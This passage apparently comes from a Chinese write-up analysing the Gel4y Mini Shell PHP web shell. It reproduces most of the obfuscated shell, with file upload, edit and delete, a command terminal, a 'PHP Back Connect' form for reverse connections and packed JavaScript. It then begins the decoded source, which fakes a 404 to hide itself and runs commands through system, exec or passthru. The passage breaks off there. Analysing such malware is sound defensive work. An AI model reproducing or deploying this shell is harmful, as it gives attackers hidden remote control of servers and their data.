YOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=\");\ngoto F7zXLBDEK2;\neGmrGMmM7f:\nheader(\"Content-Transfer-Encoding: Binary\");\ngoto dFM2sYAJlJ;\nMMrXTvXqy7:\n?\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/div\u003e\n\u003cform method=\"post\" enctype=\"multipart/form-data\"\u003e\n\u003cdiv class=\"input-group mb-1\"\u003e\n\u003cdiv class=\"custom-file\"\u003e\n\u003cinput type=\"file\" name=\"f[]\" class=\"custom-file-input\" onchange=\"this.form.submit()\" multiple\u003e\n\u003clabel class=\"custom-file-label rounded-0 bg-transparent text-light\"\u003eChoose file\u003c/label\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php\ngoto jz_2zEOwzt;\nvTj5YprhCZ:\necho '\u003cdiv class=\"my-3\"\u003e';\ngoto TTVVoj2zH2;\nX31kOqdTx7:\n?\u003e\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"n\"\u003eName :\u003c/label\u003e\u003cinput type=\"text\" name=\"n\" id=\"n\" class=\"form-control\" value=\"\u003c?php\ngoto qRqOKZqPSD;\nn6KlS76u_Y:\nif ($hzOvuJeFzz == \"cfile\") {\ngoto UVK2cx0wsu;\n}\ngoto iau78ljYgH;\nHD1w0oiEBZ:\ngoto AmZ_WHgxlE;\ngoto feaBlZ7eEU;\nOS5ItmR5yc:\ngoto kKHSQjgn8i;\ngoto wrEbKHulxs;\ngl7Tq3BnOV:\noC49Ak4Qpk:\ngoto NGkY1VE6zp;\nJaRFY01HAP:\nif ($hzOvuJeFzz == 'rename') {\ngoto b_Aq_femsk;\n}\ngoto tMkG3v_JBI;\np59Ko9RToC:\n?\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003carticle class=\"bg-dark border table-responsive\"\u003e\n\u003c?php\ngoto TnhMIgmoXz;\nYJ142eHcuW:\necho $_SERVER[\"REMOTE_ADDR\"];\ngoto errh3t4_bj;\nMAe0YHyLaa:\nif (!($_GET[\"t\"] == \"d\")) {\ngoto Bip4SkFlwd;\n}\ngoto qvSYZCVNk0;\nd5oIa6c6mo:\necho rXEfBN6HEy($_GET[\"n\"]);\ngoto EyVdz_YRmU;\nYYviAIE2go:\ndefine(\"FmHaNw7Sd4\", \"Gel4y Mini Shell\");\ngoto aebgRtztCr;\nNGkY1VE6zp:\n?\u003e\n\u003ctable class=\"table table-hover table-borderless table-sm\"\u003e\n\u003cthead class=\"text-light\"\u003e\n\u003ctr\u003e\n\u003cth\u003eName\u003c/th\u003e\n\u003cth\u003eSize\u003c/th\u003e\n\u003cth\u003ePermission\u003c/th\u003e\n\u003cth\u003eAction\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003c?php\ngoto jP2j_WsoIN;\nIWDRDymnkm:\n?\u003e\u003c/a\u003e\u003c/h3\u003e\n\u003c/div\u003e\n\u003cdiv\u003e\n\u003cspan\u003ePHP Version: \u003c?php\ngoto zvl7rFBRXM;\nSdQQ2vh1pk:\n?\u003e\"\u003e\u003ci class=\"fa fa-terminal\"\u003e\u003c/i\u003e\u003c/a\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cdiv class=\"border-top\"\u003e\n\u003cul style=\"list-style:none;\" class=\"m-0 p-0\"\u003e\n\u003cli\u003e\u003cb\u003eServer\u003c/b\u003e: \u003c?php\ngoto MWacVfk2Z9;\nMTQ6j3p_JU:\nheader(\"Content-disposition: attachment; filename=\\\"\" . rXEfbn6hey($_GET[\"n\"]) . \"\\\"\");\ngoto DnMdqAJ3M9;\nZNQuKDPR_4:\nfunction bb5inVuGyH($TyHtfHVLGo, $IqAFWYu448, $JpGr27PQID = 1) {\n$F3VGKH3ww0 = $JpGr27PQID == 1 ? \"success\" : \"error\";\necho \"\u003cscript\u003eswal({title: \\\"{$F3VGKH3ww0}\\\", text: \\\"{$TyHtfHVLGo}\\\", icon: \\\"{$F3VGKH3ww0}\\\"}).then((btnClick) =\u003e {if(btnClick){document.location.href=\\\"?l=\" . $IqAFWYu448 . \"\\\"}})\u003c/script\u003e\";\n}\ngoto aEJlf18Qtu;\niQnuU7UbQZ:\n$j78MPlSKil = $j6fm9JkXX3-\u003eopen($TQjF6JN0Xn[$IKiphkRa67]);\ngoto knjkHswo6U;\nLVUXJeDOyh:\nisset($_POST[\"s\"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET[\"n\"]), $_POST[\"ctn\"]) ? bb5InvUgYH(\"file contents changed successfully\", rXefbN6heY($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXeFbN6Hey(\"view\", 0) . \"\u0026n={$_GET[\"n\"]}\") : BB5INVUgYh(\"file contents failed to change\", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;\ngoto Xzf4iJyVK1;\ntorkRF7nBa:\nwBRwvY136L:\ngoto Hqjr9ld8se;\nEfxIdbdntP:\n?\u003e\n\u003ch5\u003ePHP Back Connect\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"input-group mb-3\"\u003e\n\u003cinput type=\"text\" name=\"ip\" placeholder=\"\u003c?php\ngoto YJ142eHcuW;\nOyonV_aXfE:\n?\u003e\u003c/span\u003e\u003cbr\u003e\n\u003ca href=\"\u003c?php\ngoto PaYSwvYogS;\ndbYRcKsPIp:\ngoto ZBWF6RSxh7;\ngoto neVn1XNWmB;\ntMkG3v_JBI:\nif ($hzOvuJeFzz == 'view') {\ngoto ZKB22Ixten;\n}\ngoto Vdz113nHJZ;\nwKFr1pnzc8:\nif (!file_exists($IqAFWYu448)) {\ngoto W3ggH6skqX;\n}\ngoto QFdg_eyOVo;\nynEoAvZ7Ef:\nif (move_uploaded_file($Dfdl9lkULa[$IKiphkRa67], $TQjF6JN0Xn[$IKiphkRa67])) {\ngoto bBFoGpk2eg;\n}\ngoto F9xmKW7KdV;\nfhYGKduull:\nfunction q0wfVKUjRs($Isvtvo_Khk) {\ngoto Uub4h9gkCq;\nulKBIpyXfr:\np9yRrj0I9L:\ngoto n3O8FXbtxz;\nRMYz6RC3Ah:\nreturn;\ngoto ulKBIpyXfr;\nUub4h9gkCq:\nglobal $dYmVY71pVg;\ngoto r92XOqmxLW;\niPuafV0c4h:\nt5mcNHryHj:\ngoto Arp7pYvHSx;\nr92XOqmxLW:\nif (!(trim(pathinfo($Isvtvo_Khk, PATHINFO_BASENAME), '.') === '')) {\ngoto p9yRrj0I9L;\n}\ngoto RMYz6RC3Ah;\nLTSk29_TNd:\ngoto t_3eBussG0;\ngoto iPuafV0c4h;\nTrTjxe9V1Z:\nt_3eBussG0:\ngoto Lsc91SF1NQ;\nn3O8FXbtxz:\nif (is_dir($Isvtvo_Khk)) {\ngoto t5mcNHryHj;\n}\ngoto tzw5ULHmNH;\nArp7pYvHSx:\narray_map(\"deldir\", glob($Isvtvo_Khk . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));\ngoto W0MZdB17mR;\ntzw5ULHmNH:\nunlink($Isvtvo_Khk);\ngoto LTSk29_TNd;\nW0MZdB17mR:\nrmdir($Isvtvo_Khk);\ngoto TrTjxe9V1Z;\nLsc91SF1NQ:\n}\ngoto pd2Xp8eNUU;\nuLfgP7Khd1:\nlgFAN1_7Jm:\ngoto cS5buQoIBP;\nJkRKETx2SF:\nif (!($IKiphkRa67 \u003c count($TQjF6JN0Xn))) {\ngoto HmX9zWMF6z;\n}\ngoto Kv3eqCCcFx;\nWNq6fySumu:\nNetExxORKl:\ngoto z_nhs7Cbn7;\naebgRtztCr:\nif (isset($_GET['l'])) {\ngoto kMsRr8KO2i;\n}\ngoto L3Ih6C_82z;\ns00fzLO5Yl:\necho htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET[\"n\"])));\ngoto PigAhONo2f;\nmfVsx6oHSn:\nforeach ($WekN4aubDI as $x42dyPJI_Q =\u003e $iIMh47ezZF) {\ngoto rj2MyZrB7k;\no5iQ8gJvU5:\ngoto J4jLfCminm;\ngoto K8SqFDrXtg;\nNXqPv90VJX:\nif (!($IKiphkRa67 != $x42dyPJI_Q)) {\ngoto ORgV2SAthb;\n}\ngoto jM_WWULfOi;\nlEe_5VWrji:\nprNiQDFSWd:\ngoto bzTtMV0YbX;\nkqueK2Wcit:\ngoto VcWvq3YT7y;\ngoto lEe_5VWrji;\nK8SqFDrXtg:\nWgxzZTQFWr:\ngoto EqrSyJAzqs;\nlrebfMCSex:\n$IKiphkRa67 = 0;\ngoto zLrS5rFG3r;\nDYw5CkpSoV:\nif (!($iIMh47ezZF == \"\")) {\ngoto WgxzZTQFWr;\n}\ngoto o5iQ8gJvU5;\ne3PJBKFEd2:\n$IKiphkRa67++;\ngoto kqueK2Wcit;\nWyFtfssQJR:\nJ4jLfCminm:\ngoto QGOp2JL0z3;\nTSaw27ioP1:\ngoto J4jLfCminm;\ngoto Qd38t26_IT;\nzbZV4IrRXr:\nORgV2SAthb:\ngoto g1Pvr70JqD;\nzLrS5rFG3r:\nVcWvq3YT7y:\ngoto dv4oXQmaUz;\nrj2MyZrB7k:\nif (!($x42dyPJI_Q == 0 \u0026\u0026 $iIMh47ezZF == \"\")) {\ngoto WsglBdtDxt;\n}\ngoto R5q5By1332;\nR5q5By1332:\necho \"\u003ca href=\\\"?l=2f\\\"\u003e~\u003c/a\u003e/\";\ngoto TSaw27ioP1;\nQd38t26_IT:\nWsglBdtDxt:\ngoto DYw5CkpSoV;\nd9YYcNyoqr:\necho rxEFbn6hey($WekN4aubDI[$IKiphkRa67], 0);\ngoto NXqPv90VJX;\ng1Pvr70JqD:\nxdjW07QcoA:\ngoto e3PJBKFEd2;\njM_WWULfOi:\necho \"2f\";\ngoto zbZV4IrRXr;\nbzTtMV0YbX:\necho \"\\\"\u003e{$iIMh47ezZF}\u003c/a\u003e/\";\ngoto WyFtfssQJR;\ndv4oXQmaUz:\nif (!($IKiphkRa67 \u003c= $x42dyPJI_Q)) {\ngoto prNiQDFSWd;\n}\ngoto d9YYcNyoqr;\nEqrSyJAzqs:\necho \"\u003ca href=\\\"?l=\";\ngoto lrebfMCSex;\nQGOp2JL0z3:\n}\ngoto WX3PBtaAK3;\nMOs0Lw2QRZ:\ngoto ZBWF6RSxh7;\ngoto pzkU10IQiS;\nZPaDeX38qY:\ngoto y8tasQLJHv;\ngoto gl7Tq3BnOV;\nneVn1XNWmB:\nZKB22Ixten:\ngoto egAEX13geb;\ngtEtp66eA1:\nW3ggH6skqX:\ngoto EKT_1bSizy;\ndeRzU3bq7h:\nBB5InVuGyh(\"folder deleted successfully\", rxEFbN6Hey($EEfZ6TZDdb, 0));\ngoto pyjFZoGGnB;\nF9xmKW7KdV:\nBb5iNVugyH(\"file failed to upload\", rXeFBN6HeY($EEfZ6TZDdb, 0), 0);\ngoto OS5ItmR5yc;\nEKT_1bSizy:\nBb5inVuGyH(\"file deleted successfully\", RXEfbn6heY($EEfZ6TZDdb, 0));\ngoto k5kZqV10bb;\ncVnxCLLc0W:\nvpkSwTQo6s:\ngoto vaea2TNc3W;\ncCui051SEu:\n?\u003e\u003c/li\u003e\n\u003cli\u003e\u003cb\u003ePHP Uname\u003c/b\u003e: \u003c?php\ngoto FrJD9Jsque;\nMvSZRFs0SS:\n?\u003e\u003c/pre\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cinput type=\"text\" name=\"cmd\" class=\"form-control\"\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php\ngoto ygIr4ZdOgL;\nP7K6f8_xHe:\n?\u003e\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eSave\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php\ngoto TGAVCVIxJL;\nYSarmTalmX:\nkKHSQjgn8i:\ngoto torkRF7nBa;\nwrEbKHulxs:\nbBFoGpk2eg:\ngoto DsIF5JU9Pz;\nEdwYtsCOvQ:\ngoto ZBWF6RSxh7;\ngoto rPHci82Pdj;\ntJJFzbSKwD:\nBb5inVUGYh(\"file uploaded successfully\", RxEfbn6heY($EEfZ6TZDdb, 0));\ngoto YSarmTalmX;\ns2A6_q8Isn:\nBb5INvUgYh(\"failed to delete the folder\", RxefbN6HEY($EEfZ6TZDdb, 0), 0);\ngoto KvyyfhHz82;\nURqiW6LJpm:\nheader(\"Content-Type: application/octet-stream\");\ngoto eGmrGMmM7f;\nHAtVYbHdyo:\n$IqAFWYu448 = $EEfZ6TZDdb . '/' . RXefBN6hey($_GET[\"n\"]);\ngoto MAe0YHyLaa;\nEY2Ff1XUeK:\n?\u003e\"\u003e\u003ci class=\"fa fa-plus\"\u003e\u003c/i\u003e\u003ci class=\"fa fa-file\"\u003e\u003c/i\u003e\u003c/a\u003e |\n\u003ca href=\"\u003c?php\ngoto zWSkrZzsWq;\npLaaRpww2m:\nif (!($_GET[\"t\"] == \"f\")) {\ngoto bLvI_Fu3sF;\n}\ngoto J6766bT1wk;\nqWSOAipFym:\necho \"?l=\" . rxefbn6HeY($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxEFbN6HEY(\"term\", 0);\ngoto SdQQ2vh1pk;\ndNAXwyF5jm:\nWChit6Tjkf:\ngoto uZLJEXNBXC;\nFhxj0LxAwC:\n$g9_4Zq7xGB = $_POST['port'];\ngoto hZocDUXtgN;\nk5kZqV10bb:\npXxft1wW2P:\ngoto kPuh3sB7ZW;\nFM1zySo56b:\nif (!file_exists($IqAFWYu448)) {\ngoto yLxrotraE3;\n}\ngoto s2A6_q8Isn;\nKv3eqCCcFx:\n$Dfdl9lkULa = $_FILES['f']['tmp_name'];\ngoto Pgo80visnY;\nDSgJ4EEwOL:\n?\u003e\n\u003ch5\u003eNew folder\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"n\"\u003eName :\u003c/label\u003e\n\u003cinput name=\"n\" id=\"n\" class=\"form-control\" autocomplete=\"off\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eCreate\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php\ngoto Pb_Plr8szn;\nNcDR2cFSK_:\n?\u003e\"\u003e\u003ci class=\"fa fa-usb\"\u003e\u003c/i\u003e\u003c/a\u003e |\n\u003ca href=\"\u003c?php\ngoto qWSOAipFym;\nJ6766bT1wk:\n$IqAFWYu448 = $EEfZ6TZDdb . '/' . RxEFBn6HeY($_GET[\"n\"]);\ngoto fpFzgy_AKw;\nrPHci82Pdj:\nN64OxnT9Bh:\ngoto vhjTMlZILs;\nEyVdz_YRmU:\n?\u003e\u003c/span\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"ctn\"\u003eContent :\u003c/label\u003e\u003ctextarea id=\"ctn\" cols=\"30\" rows=\"10\" class=\"form-control\" readonly\u003e\u003c?php\ngoto LLrd3aAnEA;\nz_nhs7Cbn7:\n?\u003e\n\u003ch5\u003eEdit file\u003c/h5\u003e\n\u003cspan\u003eFile name : \u003c?php\ngoto u_4IaYeVy2;\nBhKgAwcXlI:\necho rand(1, 6) * 1922;\ngoto uuEMYRcWJf;\nLLrd3aAnEA:\necho htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET[\"n\"])));\ngoto WQ5FRO1vHE;\npyjFZoGGnB:\njJAOZDhhff:\ngoto FFNAjFboph;\nh3GEWWTVgD:\nif (!isset($_GET[\"download\"])) {\ngoto ewlVh3jO7D;\n}\ngoto URqiW6LJpm;\nwlhV36GSCm:\n$j6fm9JkXX3-\u003eclose();\ngoto YtyLK4CiZm;\nKf_pWcks49:\n$TQjF6JN0Xn = $_FILES['f']['name'];\ngoto EY59hEhqcL;\nPigAhONo2f:\n?\u003e\u003c/textarea\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eSave\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php\ngoto LVUXJeDOyh;\nAUao0i22oH:\necho \"?l=\" . RXefBN6HEY($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXEfBn6hey(\"cfile\", 0);\ngoto EY2Ff1XUeK;\nMs3mPsNEFz:\ny8tasQLJHv:\ngoto b2f2v54QKI;\nVdz113nHJZ:\ngoto ZBWF6RSxh7;\ngoto JxeppvOhkj;\nDnMdqAJ3M9:\newlVh3jO7D:\ngoto pMoCy2S2fT;\nC3NQH6jga4:\necho FmHaNw7Sd4;\ngoto IWDRDymnkm;\nTTVVoj2zH2:\n$TkCbW35AQi = $_POST['ip'];\ngoto Fhxj0LxAwC;\nDsIF5JU9Pz:\nif (!in_array($Dbi_h94n09[$IKiphkRa67], $jzgT5WmvBi)) {\ngoto eCbgD8Xa7G;\n}\ngoto DMDVAvNxme;\nuTadf7sHfn:\nZBWF6RSxh7:\ngoto D8pLysu5hH;\njzLW7LC1KZ:\nif (!isset($_GET[\"a\"])) {\ngoto vpkSwTQo6s;\n}\ngoto dKtG97l82G;\nD8pLysu5hH:\n?\u003e\n\u003c/div\u003e\n\u003c?php\ngoto cVnxCLLc0W;\nDYX5ofDNkJ:\nHmX9zWMF6z:\ngoto jt5neMFYv3;\nP3l6Ot_Nq2:\n?\u003e\n\u003ch5\u003eNew file\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"n\"\u003eFile name :\u003c/label\u003e\u003cinput type=\"text\" name=\"n\" id=\"n\" class=\"form-control\" placeholder=\"hack.txt\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"ctn\"\u003eContent :\u003c/label\u003e\u003ctextarea name=\"ctn\" id=\"ctn\" cols=\"30\" rows=\"10\" class=\"form-control\" placeholder=\"# Stamped By Me\"\u003e\u003c/textarea\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eCreate\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php\ngoto tRwrGXooF4;\naEJlf18Qtu:\n?\u003e\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n\u003cmeta name=\"theme-color\" content=\"red\"\u003e\n\u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=0.60, shrink-to-fit=no\"\u003e\n\u003clink rel=\"stylesheet\" href=\"//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css\"\u003e\n\u003clink rel=\"stylesheet\" href=\"//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css\"\u003e\n\u003ctitle\u003e\u003c/title\u003e\n\u003cstyle\u003e\nbody {\ncolor: #fff;\nfont-family: serif;\nbackground-color: #000;\n}\na, a:hover, pre {\ncolor: #fff;\n}\n.table-hover tbody tr:hover td {\nbackground: red\n}\n\n.table-hover tbody tr:hover td\u003e* {\ncolor: #fff\n}\n\n.table\u003etbody\u003etr\u003e* {\ncolor: #fff;\nvertical-align: middle\n}\n.form-control {\nbackground: 0 0!important;\ncolor: #fff!important;\nborder-radius: 0\n}\n\n.form-control::placeholder {\ncolor: #fff;\nopacity: 1\n}\n\u003c/style\u003e\n\u003cscript src=\"//unpkg.com/sweetalert/dist/sweetalert.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cmain class=\"my-1\"\u003e\n\u003cdiv class=\"border bg-dark px-1\"\u003e\n\u003cdiv class=\"d-flex justify-content-between\"\u003e\n\u003cdiv\u003e\n\u003ch3 class=\"mt-2\"\u003e\u003ca href=\"?\"\u003e\u003c?php\ngoto C3NQH6jga4;\nLcspiVxgnz:\nfunction hrXkAttUKJ($rn5LpfN5ed) {\ngoto Llxlo5JLmV;\nVI4smubLWC:\nswitch ($q_apefxuXb \u0026 0xf000) {\ncase 0xc000:\n$pEiaUOtN6B = 's';\ngoto KaLTMLFLZ8;\ncase 0xa000:\n$pEiaUOtN6B = 'l';\ngoto KaLTMLFLZ8;\ncase 0x8000:\n$pEiaUOtN6B = '-';\ngoto KaLTMLFLZ8;\ncase 0x6000:\n$pEiaUOtN6B = 'b';\ngoto KaLTMLFLZ8;\ncase 0x4000:\n$pEiaUOtN6B = 'd';\ngoto KaLTMLFLZ8;\ncase 0x2000:\n$pEiaUOtN6B = 'c';\ngoto KaLTMLFLZ8;\ncase 0x1000:\n$pEiaUOtN6B = 'p';\ngoto KaLTMLFLZ8;\ndefault:\n$pEiaUOtN6B = 'u';\n}\ngoto viwKXWVlCm;\nBuDpmu4Dpa:\n$pEiaUOtN6B .= $q_apefxuXb \u0026 0x2 ? 'w' : '-';\ngoto oSsnbfMX7N;\nRHtymoOkRA:\n$pEiaUOtN6B .= $q_apefxuXb \u0026 0x80 ? 'w' : '-';\ngoto qaVIp_1poQ;\nLlxlo5JLmV:\n$q_apefxuXb = fileperms($rn5LpfN5ed);\ngoto VI4smubLWC;\niehULJc3F2:\n$pEiaUOtN6B .= $q_apefxuXb \u0026 0x100 ? 'r' : '-';\ngoto RHtymoOkRA;\nviwKXWVlCm:\nU0bpzZFP8o:\ngoto HLfsKw9eD9;\noSsnbfMX7N:\n$pEiaUOtN6B .= $q_apefxuXb \u0026 0x1 ? $q_apefxuXb \u0026 0x200 ? 't' : 'x' : ($q_apefxuXb \u0026 0x200 ? 'T' : '-');\ngoto Izs_QCpKLv;\nPSoRY6eJEK:\n$pEiaUOtN6B .= $q_apefxuXb \u0026 0x10 ? 'w' : '-';\ngoto BYUFnpD5Kl;\nWU_ISBG1Cd:\n$pEiaUOtN6B .= $q_apefxuXb \u0026 0x4 ? 'r' : '-';\ngoto BuDpmu4Dpa;\nHLfsKw9eD9:\nKaLTMLFLZ8:\ngoto iehULJc3F2;\nIzs_QCpKLv:\nreturn $pEiaUOtN6B;\ngoto Wym9usKGF4;\nqaVIp_1poQ:\n$pEiaUOtN6B .= $q_apefxuXb \u0026 0x40 ? $q_apefxuXb \u0026 0x800 ? 's' : 'x' : ($q_apefxuXb \u0026 0x800 ? 'S' : '-');\ngoto gCMWKc7Qi2;\ngCMWKc7Qi2:\n$pEiaUOtN6B .= $q_apefxuXb \u0026 0x20 ? 'r' : '-';\ngoto PSoRY6eJEK;\nBYUFnpD5Kl:\n$pEiaUOtN6B .= $q_apefxuXb \u0026 0x8 ? $q_apefxuXb \u0026 0x400 ? 's' : 'x' : ($q_apefxuXb \u0026 0x400 ? 'S' : '-');\ngoto WU_ISBG1Cd;\nWym9usKGF4:\n}\ngoto fhYGKduull;\nTnhMIgmoXz:\nif (!isset($_GET[\"a\"])) {\ngoto oC49Ak4Qpk;\n}\ngoto jzLW7LC1KZ;\nd6E_B1kiXH:\nif ($hzOvuJeFzz == 'edit') {\ngoto NetExxORKl;\n}\ngoto JaRFY01HAP;\nAxYV08ef23:\nchdir($EEfZ6TZDdb);\ngoto e1DVBPK5MZ;\niiqLupTD75:\n?\u003e\"\u003e\u003ci class=\"fa fa-plus\"\u003e\u003c/i\u003e\u003ci class=\"fa fa-folder\"\u003e\u003c/i\u003e\u003c/a\u003e |\n\u003ca href=\"\u003c?php\ngoto AUao0i22oH;\ngQ0uxJM3IM:\n?\u003e\n\u003c?php\ngoto uED_zyRYat;\nfeaBlZ7eEU:\nkMsRr8KO2i:\ngoto GBMZg5FNn5;\nuED_zyRYat:\nif ($hzOvuJeFzz == \"con\") {\ngoto mqgxd0ffd7;\n}\ngoto n6KlS76u_Y;\nhlAdt5ocAO:\ngoto pXxft1wW2P;\ngoto gtEtp66eA1;\nXzf4iJyVK1:\ngoto ZBWF6RSxh7;\ngoto f3YaO_36Gp;\ncS5buQoIBP:\ngoto ZBWF6RSxh7;\ngoto nRad7u_84k;\niau78ljYgH:\nif ($hzOvuJeFzz == \"cdir\") {\ngoto iqfV5KrODo;\n}\ngoto gsi4neWUGA;\nnNXfQ4ODK4:\net0KZW4bvS:\ngoto JkRKETx2SF;\nygIr4ZdOgL:\ngoto ZBWF6RSxh7;\ngoto WNq6fySumu;\npMoCy2S2fT:\n?\u003e\n\u003c/div\u003e\n\u003cdiv class=\"border bg-dark my-2 py-2 table-responsive\"\u003e\n\u003cdiv class=\"mx-2\"\u003e\n\u003cspan\u003ePath:\u003c/span\u003e\n\u003c?php\ngoto A1iu02J4SH;\ndKtG97l82G:\n$hzOvuJeFzz = RxEFbN6HEY($_GET[\"a\"]);\ngoto t5hyi0WMXW;\nfV1xJLciE1:\n$j6fm9JkXX3-\u003eextractTo(basename($TQjF6JN0Xn[$IKiphkRa67], '.zip'));\ngoto wlhV36GSCm;\nA1iu02J4SH:\n$WekN4aubDI = preg_split(\"/(\\\\\\\\|\\\\/)/\", $EEfZ6TZDdb);\ngoto mfVsx6oHSn;\nKvyyfhHz82:\ngoto jJAOZDhhff;\ngoto pQ3h2CEIaE;\nQFdg_eyOVo:\nbb5inVuGYh(\"file to delete the folder\", rxEfBN6Hey($EEfZ6TZDdb, 0), 0);\ngoto hlAdt5ocAO;\nkI2aFVtVVe:\n?\u003e\n\u003ch5\u003eView \u003c?php\ngoto xezzXbZ0n3;\nPaYSwvYogS:\necho \"?l=\" . RXEFbn6hey($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxEfbn6HEy(\"cdir\", 0);\ngoto iiqLupTD75;\nb2f2v54QKI:\n?\u003e\n\u003c/article\u003e\n\u003cdiv class=\"bg-dark border text-center mt-2 py-2\"\u003e\n\u003csmall\u003eCopyright \u0026copy; 2021 - Powered By Indonesian Darknet\u003c/small\u003e\n\u003c/div\u003e\n\u003c/main\u003e\n\u003cscript src=\"//code.jquery.com/jquery-3.5.1.slim.min.js\"\u003e\u003c/script\u003e\n\u003cscript src=\"//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js\"\u003e\u003c/script\u003e\n\u003cscript src=\"//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\neval(function(p, a, c, k, e, d) {\ne = function(c) {\nreturn(c \u003c a?'': e(parseInt(c/a)))+((c = c%a) \u003e 35?String.fromCharCode(c+29): c.toString(36))}; if (!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('E.n();$(\\'[2-m=\"4\"]\\').4();$(\".l\").k(j(e){e.g();h 0=$(6).5(\"2-0\");c({b:\"a\",9:\"o i q?\",w:\"D \"+0+\" p C B\",A:7,z:7,}).y((8)=\u003e{r(8){x 1=$(6).5(\"3\")+\"\u0026t=\"+((0==\"v\")?\"d\":\"f\");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n这 `goto` 的加密含量也太大了吧。。于是自己编写了相关脚本跑了一跑，折腾了两三个小时，终于把原始内容搞出来了，也就是本仓库的 `Gel4y-Mini-Shell-3_decode.php`，内容如下：\n\n```php\n\u003c?php\nhttp_response_code(404);\ndefine(\"FmHaNw7Sd4\", \"Gel4y Mini Shell\");\nif (isset($_GET['l'])) {\n    $EEfZ6TZDdb = RxEfBN6HEy($_GET['l']);\n    chdir($EEfZ6TZDdb);\n} else {\n    $EEfZ6TZDdb = getcwd();\n}\nfunction ZiOdpZ7NRe($uzNaDUYhmE)\n{\n    if (function_exists('system')) {\n        @ob_start();\n        @system($uzNaDUYhmE);\n        $GpjllTmONM = @ob_get_contents();\n        @ob_end_clean();\n        return $GpjllTmONM;\n    } else {\n        if (function_exists('exec')) {\n            @exec($uzNaDUYhmE, $htHTK6yRnX);\n            $GpjllTmONM = '';\n            foreach ($htHTK6yRnX as $DWC35O18yz) {\n                $GpjllTmONM .= $DWC35O18yz;\n            }\n            return $GpjllTmONM;\n        } else {\n            if (function_exists('passthru')) {\n                @ob_start();\n                @passthru($uzNaDUYhmE);\n                $GpjllTmONM = @ob_get_contents();\n                @ob_end_clean();\n                return 